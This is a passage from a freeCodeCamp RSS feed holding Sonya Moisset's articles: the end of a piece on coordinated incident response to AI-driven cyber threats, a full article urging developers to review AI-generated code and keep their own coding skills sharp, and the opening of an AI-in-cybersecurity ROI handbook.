<p><strong>Establishing incident response teams:</strong> Form dedicated incident response teams within your organization with clear roles and responsibilities:</p>
<ul>
<li><strong>Team composition:</strong> Assemble a well-structured incident response team composed of individuals with diverse skills and expertise, including cybersecurity analysts, forensic investigators, legal advisors, and communications specialists.</li>
<li><strong>Role definitions:</strong> Clearly define the roles and responsibilities of team members to ensure efficient and effective incident response. Designate incident commanders, technical experts, and communication liaisons.</li>
<li><strong>Training and drills:</strong> Regularly train and drill incident response teams to ensure they are prepared to respond to AI-driven threats. Familiarity with AI-specific threats and attack patterns is essential.</li>
</ul>
<p><strong>Cross-functional collaboration:</strong> Promote collaboration between various departments to facilitate a coordinated response:</p>
<ul>
<li><strong>IT and Cybersecurity:</strong> Ensure close collaboration between IT and cybersecurity teams to quickly contain and mitigate AI-driven threats. IT teams can assist in isolating affected systems, while cybersecurity experts focus on threat analysis and remediation.</li>
<li><strong>Legal and Compliance:</strong> Involve legal and compliance departments to navigate legal and regulatory aspects of incident response. They can advise on data breach notification requirements, compliance obligations, and legal implications of the incident.</li>
<li><strong>Public Relations and Communications:</strong> Collaborate with public relations and communications teams to manage the public image and reputation of the organization during and after an incident. Coordinated messaging is crucial to maintaining trust.</li>
</ul>
<p><strong>Incident sharing protocols:</strong> Establish protocols for sharing incident details and progress updates with external organizations:</p>
<ul>
<li><strong>Industry-specific ISACs:</strong> Share incident information with industry-specific Information Sharing and Analysis Centers (ISACs) or Information Sharing and Analysis Organizations (ISAOs). These organizations facilitate information exchange and collective response efforts within specific industries.</li>
<li><strong>Government agencies:</strong> Collaborate with government agencies responsible for cybersecurity and law enforcement. Report incidents to relevant authorities when required by law and share threat intelligence that can contribute to national security.</li>
<li><strong>Legal and ethical considerations:</strong> Ensure that incident sharing complies with legal and ethical considerations, including data privacy regulations and contractual obligations. Share information responsibly to avoid potential liabilities.</li>
</ul>
<p><strong>Coordinated exercises:</strong> Conduct joint incident response exercises with partner organizations to test and refine response procedures:</p>
<ul>
<li><strong>Simulation scenarios:</strong> Develop realistic AI-driven cyberattack scenarios for joint exercises. These scenarios should encompass various attack vectors, such as phishing, malware, and AI-enhanced social engineering.</li>
<li><strong>Interoperability testing:</strong> Ensure that technologies and communication channels are interoperable between organizations involved in the exercises. Test how different incident response teams collaborate and share information.</li>
<li><strong>Lessons learned:</strong> After each exercise, conduct a thorough debriefing to identify areas for improvement and lessons learned. Use these insights to refine incident response procedures and enhance coordination.</li>
</ul>
<p><strong>Legal and regulatory considerations:</strong> Collaborate on navigating the legal and regulatory aspects of incident response:</p>
<ul>
<li><strong>Data breach notification:</strong> Understand and comply with data breach notification requirements specific to your jurisdiction and industry. Legal experts can guide the organization in determining when and how to notify affected parties.</li>
<li><strong>Regulatory compliance:</strong> Ensure that incident response activities align with regulatory compliance obligations, such as those outlined in GDPR, HIPAA, or other relevant standards. Legal advisors can help interpret and apply these regulations.</li>
<li><strong>Preservation of evidence:</strong> Work with legal experts to ensure the proper preservation of digital evidence related to the incident. This is crucial for potential legal proceedings or law enforcement investigations.</li>
</ul>
<p><strong>Post-incident analysis:</strong> Collaborate on post-incident analysis to gain a comprehensive understanding of the attack and identify areas for improvement:</p>
<ul>
<li><strong>Incident debrief:</strong> Conduct a thorough post-incident debriefing involving all stakeholders. Analyze the incident response process, communication effectiveness, and technical aspects of the response.</li>
<li><strong>Lessons learned:</strong> Share insights and lessons learned from the incident with partner organizations and relevant industry groups. This knowledge-sharing contributes to collective improvements in cybersecurity practices.</li>
<li><strong>Continuous improvement:</strong> Use the findings from post-incident analysis to continuously improve incident response procedures, technology stacks, and coordination efforts. Regularly update incident response plans based on these improvements.</li>
</ul>
<p>Collaboration between organizations is a powerful approach to mitigating the risks of AI-driven cyber threats. Organizations can leverage collective knowledge and resources to effectively defend against emerging threats.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/09/image-76.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>The dual nature of AI in cybersecurity is a complex and multifaceted issue. On the one hand, AI-driven technologies have the potential to significantly enhance the detection, prevention, and response to cyber threats. This allows security teams to take proactive measures to prevent attacks before they occur or to quickly respond to incidents before they escalate. AI can also help security teams stay ahead of emerging threats by analyzing data from various sources, such as threat intelligence feeds, network logs, and endpoint sensors. </p>
<p>However, the very same technologies that enable defenders to improve their arsenal can also be exploited by attackers to refine their tactics and techniques. Malicious actors can leverage AI to conduct sophisticated reconnaissance, tailor their attacks to specific targets, and evade detection. AI-driven malware and ransomware variants can adapt to changing environments, making them harder to detect and remove. These types of attacks can cause significant damage to organizations, resulting in financial losses, reputational damage, and compromised sensitive data.</p>
<p>Another concern is the rise of AI-powered Advanced Persistent Threats. AI algorithms can analyze network traffic, identify vulnerabilities, and silently exploit them without triggering alerts. This enables attackers to maintain persistence within a target’s environment for prolonged periods, stealing sensitive data or intellectual property.</p>
<p>Insider threats can also benefit from AI. Insiders can abuse their authorized access to introduce AI-powered malware or Command and Control (C2) frameworks, which can operate under the radar due to their ability to blend in with legitimate network activities. AI-driven tools can also facilitate lateral movement inside the network, helping attackers reach sensitive assets more quickly.</p>
<p>The dual nature of AI in cybersecurity underscores the need for organizations to adopt a comprehensive approach to security that takes into account both the benefits and risks associated with AI. Security teams can develop effective strategies to mitigate risks and stay ahead of emerging threats by understanding the capabilities and limitations of AI-driven technologies. This includes investing in AI-powered security solutions, implementing robust threat intelligence programs, and developing incident response plans that can quickly adapt to changing threats. Ultimately, the responsible use of AI in cybersecurity requires a balanced approach that acknowledges both its transformative potential and its inherent risks.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a>, <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a> or <a target="_blank" href="https://linktr.ee/sonyamoisset">Linktree</a>. Don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Use AI-Generated Code in a Safe and Effective Way ]]>
                </title>
                <description>
                    <![CDATA[ At the heart of software development lies code. It's a set of sequential instructions that allow computers to run programs and applications.  The act of writing code has always rested squarely upon the shoulders of skilled programmers. It's been a di... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-use-ai-generated-code/</link>
                <guid isPermaLink="false">66ba30fbd8f1b6513f6738ab</guid>
                
                    <category>
                        <![CDATA[ AI ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Artificial Intelligence ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Tue, 05 Sep 2023 20:46:49 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/08/programmer-cyberpunk-580033800-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>At the heart of software development lies code. It's a set of sequential instructions that allow computers to run programs and applications. </p>
<p>The act of writing code has always rested squarely upon the shoulders of skilled programmers. It's been a distinctly human endeavor. </p>
<p>But the this process is undergoing a profound transformation thanks to the emergence of artificial intelligence (AI). This evolution is most evident in the realm of code generation, where AI systems can now automatically craft code for routine and repetitive coding tasks.</p>
<p>At first glance, the output of this automated code generation appears to be an astonishing boon for programmer productivity. But, as with the introduction of any novel technological advancement, the reliance on AI-driven code generation carries certain drawbacks. </p>
<p>Depending too much on automatically generated code runs the risk of gradually eroding the hard-earned skills of developers over time. The absence of regular hands-on coding practice makes it harder to refine your practical programming and security expertise, which your acquire through experiential learning. </p>
<p>Just as an over reliance on calculators can deteriorate your mathematical skills, excessive leaning into code automation might erode your coding skills. This may make it harder to recognize and manually pinpoint bugs, devise elegant coding solutions, and uncover vulnerabilities in your code.</p>
<p>Also, code authored by AI lacks the distinctly human traits of discernment and discretion. Despite its capacity to churn out code at an impressive scale, AI lacks an inherent understanding of the common sense and the intuition required to identify potential flaws. </p>
<p>This means that auto-generated code falls short of fully substituting the knowledge and experience that developers accumulate over years of coding. The role of humans, therefore, remains pivotal in overseeing and capturing those exceptional or challenging cases that automated systems fail to detect.</p>
<p>The path to the future lies in the harmonious fusion of machine-generated and human-authored code. Embracing the efficiency that code automation brings with it is prudent – but you should complement it with manual programming. </p>
<p>You should also carefully review and test all auto-generated code, and exercise your skill in crafting bespoke and intricate segments by hand. This approach not only allows you to maintain your skills and knowledge through consistent coding practice but also ensures that the human touch and expertise remain an integral part of the software development process.</p>
<p>Here's what we'll cover in this article:</p>
<ol>
<li><a class="post-section-overview" href="#heading-the-emergence-of-auto-generated-code">The Emergence of Auto-Generated Code</a></li>
<li><a class="post-section-overview" href="#heading-why-you-shouldnt-depend-too-heavily-on-ai-to-write-your-code">Why You Shouldn't Depend Too Heavily on AI to Write Your Code</a></li>
<li><a class="post-section-overview" href="#heading-advantages-of-automation">Advantages of Automation</a></li>
<li><a class="post-section-overview" href="#heading-how-to-find-balance-between-human-and-ai-generated-code">How to Find Balance Between Human and AI-Generated Code</a></li>
<li><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></li>
</ol>
<h2 id="heading-the-emergence-of-auto-generated-code"><strong>The Emergence of Auto-Generated Code</strong></h2>
<p>Accelerated code production by AI for routine tasks really is a breakthrough in Software Development.</p>
<p>This transformative development grants machines the remarkable capability to autonomously craft lines of code. This is a result of breakthroughs in AI techniques such as deep learning and neural networks, which empower AI systems to meticulously analyze reservoirs of existing code. </p>
<p>During its analysis, AI discerns underlying patterns, stylistic nuances, and established conventions. This gives the AI sufficient knowledge to compose rudimentary code for commonplace programming tasks.</p>
<p>AI can now take the reins in producing boilerplate code for a variety of functions, including but not limited to login screens, menus, forms, and uncomplicated website operations. This computer program has collected a bunch of really good code for common tasks, and has learned from many different examples. </p>
<p>Armed with this wisdom, the AI can mimic and assemble these elementary code building blocks independently, allowing it to build prototypes or minimally viable products.</p>
<p>For example, let's consider the scenario of a new smartphone application that needs a login screen. </p>
<p>In the past, a programmer would painstakingly code this interface from the ground up. But the current landscape is vastly different, as AI can quickly generate the requisite standardized code for the login screen. The AI can do this since it's been exposure to many, many login screens that are present in existing applications. So it can reproduce these interfaces autonomously. </p>
<p>This remarkable capacity to swiftly produce code devoid of human intervention has empowered AI systems to quickly generate the foundational components that are critical to all forms of software.</p>
<p>While the capabilities of AI-generated code are limited at present, the automation of routine coding tasks holds the power to propel development cycles to new heights. And this may allow businesses to introduce applications and software to the market with unparalleled speed. </p>
<p>Entrusting repetitive coding responsibilities to machines frees up developers to focus their expertise on areas where human discernment and mastery are really important. This also allows devs to operate at the full extent of their abilities.</p>
<h3 id="heading-how-ai-can-help-create-swifter-software-development-cycles">How AI Can Help Create Swifter Software Development Cycles</h3>
<p>The introduction of automated code generation facilitated by AI brings various advantages and helps expedite the pace of software development cycles. </p>
<p>By delegating routine and iterative coding tasks (such as the creation of forms and menus) to AI systems, developers are liberated from the arduous task of manually reproducing these standard components time and again. Instead, they can use these pre-fabricated code modules generated by AI to swiftly assemble the foundational parts of their apps.</p>
<p>This new approach fosters an environment that encourages rapid iteration. Developers can efficiently iterate and refine projects by seamlessly substituting distinct AI-generated components as needed. </p>
<p>Before AI, crafting an entire feature like a checkout system for an e-commerce platform from scratch could typically consume days. But now, developers can seamlessly integrate auto-generated code and make it operational within hours. </p>
<p>Startups are taking advantage of this new-found efficiency, and they can quickly construct and assess prototypes or minimum viable products while establishing alignment with the market. Larger corporations can also respond nimbly to evolving customer needs through expedited software releases and updates.</p>
<p>The automation driven by AI frees up developers from the shackles of mundane and mentally exhausting coding tasks. And it also gives them the bandwidth to channel their energies into more sophisticated and innovative programming endeavors. </p>
<p>This, in turn, allows software development not only to be swifter but also to yield more advanced and groundbreaking software products. </p>
<p>With AI's adeptness at managing the foundational aspects of code, developers are poised to tackle bolder and more transformative coding projects.  AI-assisted code generation will be a catalyst in hastening and enriching software development cycles throughout the entire software industry.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/08/programmer-cyberpunk-814492145.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-why-you-shouldnt-depend-too-heavily-on-ai-to-write-your-code"><strong>Why You Shouldn't Depend Too Heavily on AI to Write Your Code</strong></h2>
<h3 id="heading-it-decreases-your-ability-to-write-secure-code-on-your-own">It decreases your ability to write secure code on your own</h3>
<p>Although using auto-generated code can help you create programs faster, relying too much on AI-generated code poses various risks. </p>
<p>For example, it can diminish your capacity to autonomously craft secure code. If you lean too heavily on AI-generated code as a crutch, you'll inadvertently miss opportunities to create whole features from scratch. This first-hand coding experience is important in honing the skill set you'll need for practicing secure development methodologies.</p>
<p>For instance, when you build a feature by hand that implements user authentication within an application, you get an intricate understanding of the strategies you can use to address security vulnerabilities like injection attacks or inadequate password storage practices. </p>
<p>But, if you resort to pre-fabricated AI modules for handling authentication, your depth of comprehension regarding the underlying steps and considerations is significantly diminished. </p>
<p>The less time you invest in building features from the ground up, the fewer occasions you have to firmly internalize security principles through applied practice.</p>
<p>As time progresses, your lack of hands-on coding experience could start to erode your hard-earned security skills you've cultivated. The gradual transition towards complete reliance on AI-generated code may gradually diminish your ability to construct code that resists hacking attempts, encompassing crucial aspects like robust encryption and comprehensive input sanitization. </p>
<p>Using code automation in an intelligent and strategic way can definitely amplify your productivity. But don't let this automation become a permanent substitute for the indispensable practical coding experience that effectively prepares you for safeguarding real-world applications.</p>
<h3 id="heading-your-coding-skills-will-become-rusty">Your coding skills will become rusty</h3>
<p>Relying too much on auto-generated code can gradually erode the programming and debugging skills you've diligently cultivated over time. Coding, as a practice, necessitates good problem-solving capabilities you can only really gain through experience by meeting challenges head-on. </p>
<p>Similarly, the artistry of debugging code to find and fix errors and glitches is a skill that you can best hone by extensive hands-on coding practice. </p>
<p>But if you start using AI-generated code as a shortcut, bypassing the process of coding features from scratch, the hard-fought mastery of these skills could begin to wither away from disuse. </p>
<p>In time, you may find yourself facing a diminishing grasp of the finely tuned expertise you need for tackling intricate and unique programming problems.</p>
<p>For instance, you may encounter challenges when you're designing and coding specialized modules or tailor-made projects that lie beyond the realm of template-based AI generation. </p>
<p>Beyond that, depending too much on AI-forged code might result in a diminished ability to troubleshoot unforeseen errors that come up in real-world software. If you're using an AI's pre-constructed code that's undergone pre-testing for reliability, you may become ill-equipped to address new glitches in complex programs. </p>
<p>Basically, too much reliance on automation can relegate you to the role of mere assemblers of AI-built components. And eventually, you may forget much of the deep programming and debugging skills you've nurtured through all your many past manual coding challenges.</p>
<p>While some AI assistance can indeed prove valuable, don't forget the importance of learning by doing. Gaining and sustaining core programming and debugging skills are best nurtured through active and engaged manual coding experiences, without excessive automation.</p>
<h3 id="heading-you-wont-be-able-to-detect-vulnerabilities-as-effectively">You won't be able to detect vulnerabilities as effectively</h3>
<p>Here's another important point: auto-generated code isn't able to replicate the cultivated security instincts that accompany human expertise. </p>
<p>The art of identifying potential vulnerabilities, uncovering edge cases, and pinpointing potential failure points requires an intuition that human developers progressively gain through experience. </p>
<p>AI falls short of possessing the comprehensive contextual reasoning abilities required to anticipate how code might be exploited or rendered dysfunctional in the intricate landscape of the real world. Within this complex domain, AI may inadvertently overlook unintended ramifications that lead to vulnerabilities. </p>
<p>If you become overly reliant on AI-generated code, you'll inadvertently give up valuable opportunities to refine your security intuition through direct, hands-on engagement. </p>
<p>The act of producing substantial code individually equips you with important insights into the security of your applications. You'll learn about the places where vulnerabilities may lurk, the strategies by which edge cases can be manipulated, and the potential for seemingly innocuous code to facilitate attacks when intertwined with human behaviors.</p>
<p>Over time, depending too much on AI-generated code may negatively affect your ability to critically scrutinize and probe your code for weaknesses. You may start to unreservedly place your trust in the inherent security of auto-generated code, assuming that it's inherently secure. </p>
<p>In reality, no software is entirely impervious to vulnerabilities. It is only through constant firsthand coding experiences that you can preserve your innate ability to perceive subtle vulnerabilities that may evade AI's gaze. </p>
<p>While AI augmentation certainly has its merits, it remains incapable of duplicating the reservoir of security knowledge you gain through navigating intricate real-world programming conundrums over an extended period of time.</p>
<p>AI-generated code also frequently exhibits diminished efficiency, convoluted interpretation, and increased complexity when contrasted with code crafted by human hands. </p>
<p>AI systems lack the innate understanding that developers have regarding code structure, comprehensibility, modularity, and deliberate design. Also, AI-generated code can't elucidate the underlying logic behind its creation. This makes it inherently challenging to troubleshoot, customize, and expand upon in the future.</p>
<p>Of paramount concern is the potential for developers to go from being active architects of code to passive recipients of AI-generated programs. While AI-generated code can definitely help amplify your productivity, it can't yet fully replace the hard-earned well of knowledge that human developers accumulate. </p>
<p>Relying too much on AI can result in the degradation of your coding skills and a decline in code quality over time. So don't let that happen - keep practicing your coding skills, analyze any AI-generated code, and be the key human element in the process.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/08/programmer-cyberpunk-356392975.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-advantages-of-automation"><strong>Advantages of Automation</strong></h2>
<h3 id="heading-frees-up-developer-time-and-cognitive-resources">Frees up developer time and cognitive resources</h3>
<p>One prominent advantage of AI-generated code is its capacity to free up substantial amounts of developer time and cognitive resources. </p>
<p>Using AI to help handle repetitive and monotonous coding tasks, such as constructing user registration forms or crafting website menus, gives you more time. It also prevents you from having to rehash the same well-trodden paths, project after project. </p>
<p>Not having to laboriously code routine features over and over empowers you to divert your energies towards activities that are more gratifying and intellectually stimulating. </p>
<p>You can now channel the cognitive load that would have been expended on recalling the intricacies of implementing commonplace CRUD functions or designing shopping carts into endeavors that involve greater creativity. You can focus on tasks like building intricate systems, as well as pioneer the frontiers of cutting-edge programming.</p>
<p>Rather than squandering your abilities on yet another rudimentary login screen, if you harness the power of AI-generated code you can put your energy toward imaginative tasks that harness the full scope of human capabilities. </p>
<p>Through this paradigm, AI-generated code gives you the autonomy to dedicate your time and cognitive resources exclusively to more interesting and worthwhile endeavors – ones that truly align with your realm of expertise.</p>
<h3 id="heading-establishes-systems-and-minimizes-errors">Establishes systems and minimizes errors</h3>
<p>An additional advantage offered by AI-generated code lies in its ability to systematize procedures. This helps reduce the occurrence of simple human errors. </p>
<p>In instances where you manually perform routine tasks like designing forms or building menus, introducing small errors or bugs is not uncommon. Typographical errors in variable names, omitted brackets, or inadvertent off-by-one logic flaws can readily infiltrate your code. </p>
<p>But AI systems are able to consistently generate standardized code for repetitive tasks with an impressive and consistent precision. This reliability serves helps protect against the inconspicuous yet insidious bugs that often surface when you find yourself sidetracked or tired. </p>
<p>AI-crafted code modules assume the role of dependable points of reference, and help establish an ideal blueprint for executing routine tasks. You can gain insights from the machine-generated code by studying how AI implements features in a uniform and streamlined manner.</p>
<p>Over time, as you reuse AI-generated code, it can help you establish programmatic best practices, since these approaches have been honed through countless iterations. By strategically using auto-generated modules for common purposes, you can channel your human efforts toward more complex code, where your discretion and expertise distinctly shine. </p>
<p>The symbiotic interplay between AI consistency and human ingenuity culminates in an elevation of code quality and mitigation of basic errors.</p>
<h3 id="heading-lets-you-focus-on-tough-programming-puzzles">Let's you focus on tough programming puzzles</h3>
<p>AI-generated code lets you focus your efforts on resolving intricate challenges and propelling the horizons of programming forward, instead of always needing to reinvent the wheel. </p>
<p>By using an AI assistant to manage the foundational boilerplate coding for components such as forms and menus, you don't need to start every project from an empty slate. Instead, you'll be able get a running start, leveraging the pre-established foundations offered by auto-generated code to build more sophisticated applications.</p>
<p>When you don't have to worry about basic functionality and boilerplate, you're able to channel your expertise into the pursuit of more audacious and intricate programming problems. No longer constrained to the development of yet another basic CRUD application, you're empowered to set your sights on creating groundbreaking, category-defining products characterized by advanced interactivity and intelligent functionalities. </p>
<p>This newfound freedom will allow you to engage in pioneering endeavors, exploring innovative techniques, frameworks, and approaches that propel the state of the art.</p>
<p>The benefits you gain from thoughtful AI automation can help you, as a skilled developer, to redirect your time and energies towards the cultivation of breakthrough innovations. </p>
<p>With AI assuming the burden of repetitive tasks, human developers emerge as the driving force behind progress, steering the expansion of the software's frontiers and unlocking new realms of potential.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/08/programmer-cyberpunk-791306189.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-how-to-find-balance-between-human-and-ai-generated-code"><strong>How to Find Balance Between Human and AI-Generated Code</strong></h2>
<h3 id="heading-perform-comprehensive-code-reviews">Perform comprehensive code reviews</h3>
<p>While AI-generated code undeniably helps devs be more efficient, the importance of human code review comes into focus. This helps safeguard against and recognize potential blind spots. </p>
<p>Even the most sophisticated AI grapples with inherent limitations when trying to envision the possible failures or misuse that its auto-generated code may encounter in the real world. Human judgment, discretion, and intuition, cultivated through lived experience, remain beyond the purview of AI's capabilities. </p>
<p>After all, code that exhibits robustness within isolated testing conditions can, upon deployment, unravel to reveal unintended consequences or vulnerabilities.</p>
<p>This means that subjecting all code to manual review conducted by human developers remains a necessity, even in instances where AI has contributed to certain segments. Human oversight serves as a vital checkpoint, as developers' contextual knowledge empowers them to anticipate edge cases and security threats that may elude AI's scrutiny. </p>
<p>From their panoramic vantage point, developers can preemptively pinpoint latent bugs and logic gaps that have the potential to cause future problems. This is accentuated by the fact that humans, drawing wisdom from past encounters with complexities, have an aptitude for foreseeing problems that might fly under AI's radar. </p>
<p>The ritual of manual review also helps developers become more familiar with the codebase, effectively cultivating a foundation for any future troubleshooting requirements.</p>
<p>While AI admirably helps you work on confined tasks, the capacity for holistic assessment of code reliability comes from human intuition based on years of experiential learning. </p>
<p>In the grand tapestry of software development, it is this quintessential human perspective that gives us the ability to go beyond the confines of bounded tasks, and comprehensively evaluate code.</p>
<h3 id="heading-add-tailored-components-to-auto-generated-code">Add tailored components to auto-generated code</h3>
<p>It's a good idea to enhance auto-generated code by adding your own thoughtfully crafted custom sections. While AI excels in quickly producing code to address routine requirements, you should carefully and deliberately selecting certain intricate modules that you code yourself. </p>
<p>This strategy serves multiple purposes: it helps keep your coding skills razor-sharp by ensuring that you engage in consistent hands-on practice. It also gives you the latitude to personally navigate the intricacies of project segments where cookie-cutter AI generation just doesn't, well, cut it.</p>
<p>For instance, you might opt to manually code a recommendation algorithm that uses more imaginative data science methodologies. This is a realm distinct from the realm of conventional logic. </p>
<p>Adding these bespoke pockets of manually authored code combines the virtues of dependability and adaptability. Auto-generated sections serve as the bedrock upon which to erect the project, while you can infuse special innovation and nuance into modules that need more special treatment.</p>
<p>This synergistic collaboration – combining the efficiency of machine-generated code with the power of human creativity – engenders a framework where rapid development is achieved without compromising quality. Using this approach, you can create an environment conducive to creating optimized software that deftly balances proficiency and ingenuity.</p>
<h3 id="heading-automate-mundane-tasks">Automate mundane tasks</h3>
<p>As we've discussed, it's important to strike a balance between automating certain routine coding tasks with manual coding for more complex features and problems. </p>
<p>Tasks marked by repetition, such as the construction of user dashboards or the implementation of standard web APIs, are good candidates for AI-generated code. But again, developers should always continue to practice hands-on manual coding, as this helps maintain their proficiency.</p>
<p>For instance, less intricate tasks like creating forms and validating inputs can harness the prowess of auto-generated code to expedite the developmental process. On the other hand, more complex endeavors such as the formulation of specialized algorithms, warrant the personal touch of developers' expertise. </p>
<p>This equilibrium, characterized by a discerning allocation of tasks, strikes a harmonious chord between the efficient, clean code written by AI and the potential risks associated with the long-term deskilling of human developers.</p>
<p>Through this strategic interplay, AI-generated code transcends its role as a mere substitute and acts instead as an amplifier, increasing the capabilities of human developers. </p>
<h3 id="heading-facilitate-the-adaptation-of-ai-generated-code">Facilitate the adaptation of AI-generated code</h3>
<p>As a developer, you'll need to comprehensively assess any AI-generated code you use in your projects. You'll often need to make alterations and refinements to that code, and then figure out how to incorporate it within your codebase. </p>
<p>This ability of human developers to discern the underlying logic and rationale governing auto-generated code – even in the absence of explicit documentation – is really important when you're making modifications. </p>
<p>You might need to restructure or optimize certain segments to enhance readability, performance, or alignment with internal coding conventions and adjoining modules. Especially in cases where security and efficiency are critical, blindly accepting code written by an AI isn't a good idea and you should proceed with caution. You'll likely need to validate, enhance, and then carefully combine it into the existing codebase.</p>
<p>Empowering skilled human developers with the agility to modify AI-generated code affirms a commitment to the long-term sustainability of the software's maintainability. By ensuring a continuous human presence in the developmental loop, you can help identify latent vulnerabilities and concealed imperfections. </p>
<p>Far from serving as passive recipients of code churned out by machines, you as a developer must adopt an active stance, engaging in a process of analysis, adaptation, and the ultimate assumption of ownership over AI-crafted code. </p>
<p>This dynamic approach culminates in the assimilation of AI-generated code into the fabric of robust, enterprise-grade software that seamlessly marries human ingenuity with machine-generated efficiency.</p>
<h3 id="heading-mandate-documentation">Mandate documentation</h3>
<p>Human developers should meticulously document any code c byreated AI systems, as this can bring many advantages. Making it a rule that devs must create documentation for AI-generated code means that they'll have to deeply explore the auto-generated code, delving into its nuances with a meticulous eye. </p>
<p>This process compels devs to traverse the contours of the code's flow, logic, dependencies, and functions, as they try to craft documentation that is informative and helpful. </p>
<p>It can also help unearth any latent discrepancies, optimization prospects, integration requisites, or security vulnerabilities that might lie concealed within the labyrinth of machine-derived code.</p>
<p>Comprehensive documentation also serves as a cornerstone for code maintenance, debugging endeavors, and the continuous improvement of the codebase. In the evolving landscape of software development, future developers have to get to know the underpinning rationale and intricacies of the code. This is imperative for fixing bugs, adding novel features, or seamlessly integrating the code with other modules. Code that lacks robust documentation can become an inflexible and cryptic artifact as time elapses.</p>
<p>Given the inherently enigmatic nature of AI's "black box" functionality, requiring stringent human documentation plays a pivotal role in elucidating the inner mechanics of auto-generated code. This will ensure that AI-forged code is subjected to the same level of scrutiny and exposition that human-written code receives. </p>
<p>By championing comprehensive documentation, code becomes more maintainable and the lurking perils of AI systems languishing in obscurity are effectively averted.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/08/programmer-cyberpunk-640924310.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>The allure of AI-generated code and the productivity it brings is undeniable. But relying on it exclusively over extended periods of time has the potential to erode your skills and knowledge base as a developer. </p>
<p>A more prudent trajectory is to strike a balance between machine and human generated code. You can use automation for routine coding tasks, while remaining vigilant and practicing your craft in the realm of software development.</p>
<p>After all, AI code generation tools are augmentations, not wholesale substitutes for the roles performed by developers. When used wisely, AI liberates developers from the drudgery of repetitive tasks, and gives them the temporal and cognitive bandwidth to engage in pursuits of higher value. </p>
<p>But human code review, skill cultivation, and oversight are indispensable, serving to identify the blind spots of AI tools and uphold the caliber of the software.</p>
<p>Collectively, AI and human developers weave a tapestry of mutual enhancement when judiciously blended. Automation brings raw efficiency, velocity, and consistency, while the human element imparts wisdom, subtlety, security, and sustainability. In harmonious concert, they empower software teams to function at an elevated echelon, each entity capitalizing on its unique strengths.</p>
<p>The trajectory of coding's future pivots upon this synthesis of machine-crafted and human-forged code. We can embrace the productivity dividends that AI engenders, while circumventing the pitfalls of relying on it too much. This will help us build software systems that are robust, secure, and inherently efficient. </p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a>, <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a> or <a target="_blank" href="https://linktr.ee/sonyamoisset">Linktree</a>. Don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ The AI and Cybersecurity Handbook – Past the Hype and Onto the ROI ]]>
                </title>
                <description>
                    <![CDATA[ Artificial intelligence (AI) has become one of the most talked about technologies in cybersecurity. Driven by the rising sophistication of cyber threats and large talent shortages, organizations are turning to AI as a force multiplier for security te... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/ai-and-cybersecurity-handbook/</link>
                <guid isPermaLink="false">66ba30edde9370f66eeb0aa7</guid>
                
                    <category>
                        <![CDATA[ Artificial Intelligence ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ handbook ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Thu, 31 Aug 2023 16:36:20 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/08/The-AI-and-Cibersecurity-Handbook-Cover--1-.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Artificial intelligence (AI) has become one of the most talked about technologies in cybersecurity. Driven by the rising sophistication of cyber threats and large talent shortages, organizations are turning to AI as a force multiplier for security teams. </p>
<p>But integrating AI into security workflows requires thoughtful planning and evaluation. Cybersecurity leaders need reliable data to justify the business case and return on investment (ROI) compared to existing tools and processes. </p>
<p>While the promise of AI is alluring, the hype doesn't always match the reality once deployed into complex operational environments.</p>
<p>This handbook will analyze the real-world benefits, costs, and limitations of AI cybersecurity based on current evidence and use cases. </p>
<p>By taking a rigorous approach to the metrics and frameworks used for calculating ROI, cybersecurity leaders can make informed adoption decisions aligned with their business objectives. The goal is to cut through the hype and assess how AI is delivering value today, along with gaps that still need to be addressed moving forward.</p>
<p>With cyber risks continuing to grow, understanding the pragmatic role of AI in reducing costs, improving productivity, and allowing humans to focus on higher-value analysis is key.</p>
<h2 id="heading-table-of-contents">Table of Contents:</h2>
<ol>
<li><a class="post-section-overview" href="#heading-the-promise-and-potential-of-ai-cybersecurity">The Promise and Potential of AI Cybersecurity</a></li>
<li><a class="post-section-overview" href="#heading-key-benefits-of-ai-in-cybersecurity">Key Benefits of AI in Cybersecurity</a></li>
<li><a class="post-section-overview" href="#heading-how-to-quantify-return-on-investment-roi">How to Quantify Return on Investment (ROI)</a></li>
<li><a class="post-section-overview" href="#heading-what-to-consider-when-incorporating-ai-into-your-security-practices">What to Consider When Incorporating AI into Your Security Practices</a></li>
<li><a class="post-section-overview" href="#heading-gaps-in-the-technology-and-hurdles-to-overcome">Gaps in the Technology and Hurdles to Overcome</a></li>
